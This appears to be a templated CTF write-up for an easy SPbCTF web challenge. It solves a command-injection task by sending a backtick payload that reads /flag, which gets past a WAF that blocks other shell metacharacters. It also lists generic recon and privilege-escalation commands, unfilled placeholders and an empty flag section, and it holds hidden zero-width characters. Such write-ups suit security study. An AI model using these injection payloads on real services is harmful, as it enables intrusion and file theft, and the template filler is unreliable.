Echo

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2019-10-13 | Status: Solved Techniques: backtick_command_substitution, waf_bypass

Summary

Task: Echo service with WAF blocking most shell metacharacters. Solution: Use backtick command substitution to bypass WAF and read the flag file.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20191013_webkids20_ping4
• Tags: command_injection, shell, echo, waf_bypass, backtick
• Indicators: echo service, user input passed to shell command, backtick allowed, semicolon disabled, $() disabled
• Source: 20191013_webkids20_ping4.md

Foothold

Vulnerability / Misconfiguration

1. Backtick_command_substitution
2. Waf_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• backtick_command_substitution
• waf_bypass
• Tags: command_injection, shell, echo, waf_bypass, backtick

Original Writeup

<details><summary>Click to expand original content</summary>

Description

An echo server at https://2019-10-13-cmdinj.ctf.su/task/echo1. Flag is in /flag on the server.

Analysis

The service takes user input and executes the command echo <user_input>. A WAF is present that blocks most shell metacharacters:

WAF rules:

• ; (semicolon) - disabled
• | (pipe) - disabled
• && - disabled
• ` (backtick) - ALLOWED
• $() - disabled
• # - disabled

Key point: backticks are allowed, which enables command substitution.

Solution

Since backtick is allowed, we can use command substitution to execute an arbitrary command: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Payload
`cat /flag`

Sending a POST request:

curl -X POST https://2019-10-13-cmdinj.ctf.su/task/echo1 \
  -d "what=\`cat /flag\`"

The server executes:

echo `cat /flag`

How it works:

1. Shell first executes the command inside backticks: cat /flag
2. The result (file contents) is substituted in place of the backtick expression
3. echo outputs the substituted value — the flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR